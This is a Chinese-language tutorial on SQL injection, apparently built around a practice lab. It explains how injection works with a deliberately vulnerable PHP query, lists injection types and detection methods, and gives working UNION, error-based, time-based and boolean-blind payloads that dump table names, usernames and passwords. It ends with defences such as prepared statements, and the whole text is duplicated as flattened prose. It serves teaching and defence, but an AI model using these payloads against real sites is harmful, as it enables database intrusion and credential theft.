SQL注入漏洞详解
字数 3036 2025-08-15 21:33:34

SQL注入漏洞详解教学文档

一、SQL注入概述

SQL注入是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而获取数据信息。

二、漏洞原理

基本机制

  1. 用户提交数据后,后端服务器将用户提交的数据直接带入SQL语句执行
  2. 如果没有进行过滤,用户构造的特殊语句可对数据库进行非法操作

典型示例代码

$id=$_GET['id'];
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
}

注入示例

  • 正常查询:?id=1SELECT * FROM user WHERE id='1' LIMIT 0,1
  • 注入攻击:?id=-1' union select 1,2,database() --+
    SELECT * FROM user WHERE id='-1' union select 1,2,database() -- ' LIMIT 0,1
    
    其中--是SQL注释符,+会被转换为空格

三、漏洞分类

1. 有回显注入

  • Union query联合查询注入:通过union联合查询获取查询结果
  • Error based报错注入:通过报错信息获取查询结果

2. 无回显注入

  • Boolean based blind布尔盲注:通过应用返回不同的值判断条件真假
  • Time based blind时间盲注:通过不同的时间延迟推断条件真假

四、漏洞检测

手工检测

  1. 提交参数中添加单引号',出现SQL语法错误则可能存在注入
  2. 无回显时可尝试延时或布尔盲注检测

工具检测

使用sqlmap等自动化工具进行检测

五、漏洞利用技术

1. UNION联合查询注入(MySQL示例)

  • 爆列数:?id=-1' order by n--+(n到几不报错则有n-1列)
  • 爆库名:?id=-1' union select 1,2,database() --+
  • 爆表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
  • 爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
  • 爆数据:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

2. 报错注入

  • 爆库名:?id=-1' union select count(*),count(*),concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
  • 爆表名:?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
  • 爆列名:?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
  • 爆数据:?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+

3. 时间盲注

  • 爆库长:?id=1' and if(length(database())=8,sleep(5),NULL)--+
  • 爆库名:?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+
  • 爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+
  • 爆列名:?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+
  • 爆数据:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+

4. 布尔盲注

  • 爆库名:?id=1' and left((select database()),1)='s'--+
  • 爆表名:?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+
  • 爆列名:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+
  • 爆数据:?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+

六、常见攻击场景

  1. 用户可控参数与数据库交互的地方(查询、登录等)
  2. API查询接口
  3. GET/POST参数均可存在注入

七、防御措施

1. WAF(Web应用防火墙)

  • 拦截敏感数据请求
  • 不能修复漏洞但可防止利用

2. Filter过滤

  • 过滤敏感字符(如单引号、注释符等)
  • 服务器端实现输入验证

3. SQL预编译(最佳实践)

prepare baizesec from 'select username,password from users where id=?';
set @a=1;
execute baizesec using @a;
  • 使用参数化查询
  • 分离SQL逻辑与数据

八、补充说明

  1. 无回显注入还可利用DNSlog外带数据
  2. 实际攻击中可能需要使用tamper脚本绕过过滤
  3. 注入技术需根据具体数据库类型调整语法

以上内容涵盖了SQL注入的核心原理、检测方法、利用技术和防御措施,可作为全面的教学参考文档。

SQL注入漏洞详解教学文档 一、SQL注入概述 SQL注入是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而获取数据信息。 二、漏洞原理 基本机制 用户提交数据后,后端服务器将用户提交的数据直接带入SQL语句执行 如果没有进行过滤,用户构造的特殊语句可对数据库进行非法操作 典型示例代码 注入示例 正常查询: ?id=1 → SELECT * FROM user WHERE id='1' LIMIT 0,1 注入攻击: ?id=-1' union select 1,2,database() --+ → 其中 -- 是SQL注释符, + 会被转换为空格 三、漏洞分类 1. 有回显注入 Union query联合查询注入 :通过union联合查询获取查询结果 Error based报错注入 :通过报错信息获取查询结果 2. 无回显注入 Boolean based blind布尔盲注 :通过应用返回不同的值判断条件真假 Time based blind时间盲注 :通过不同的时间延迟推断条件真假 四、漏洞检测 手工检测 提交参数中添加单引号 ' ,出现SQL语法错误则可能存在注入 无回显时可尝试延时或布尔盲注检测 工具检测 使用sqlmap等自动化工具进行检测 五、漏洞利用技术 1. UNION联合查询注入(MySQL示例) 爆列数: ?id=-1' order by n--+ (n到几不报错则有n-1列) 爆库名: ?id=-1' union select 1,2,database() --+ 爆表名: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆列名: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 爆数据: ?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ 2. 报错注入 爆库名: ?id=-1' union select count(*),count(*),concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 爆表名: ?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 爆列名: ?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 爆数据: ?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 3. 时间盲注 爆库长: ?id=1' and if(length(database())=8,sleep(5),NULL)--+ 爆库名: ?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+ 爆表名: ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+ 爆列名: ?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+ 爆数据: ?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+ 4. 布尔盲注 爆库名: ?id=1' and left((select database()),1)='s'--+ 爆表名: ?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+ 爆列名: ?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+ 爆数据: ?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+ 六、常见攻击场景 用户可控参数与数据库交互的地方(查询、登录等) API查询接口 GET/POST参数均可存在注入 七、防御措施 1. WAF(Web应用防火墙) 拦截敏感数据请求 不能修复漏洞但可防止利用 2. Filter过滤 过滤敏感字符(如单引号、注释符等) 服务器端实现输入验证 3. SQL预编译(最佳实践) 使用参数化查询 分离SQL逻辑与数据 八、补充说明 无回显注入还可利用DNSlog外带数据 实际攻击中可能需要使用tamper脚本绕过过滤 注入技术需根据具体数据库类型调整语法 以上内容涵盖了SQL注入的核心原理、检测方法、利用技术和防御措施,可作为全面的教学参考文档。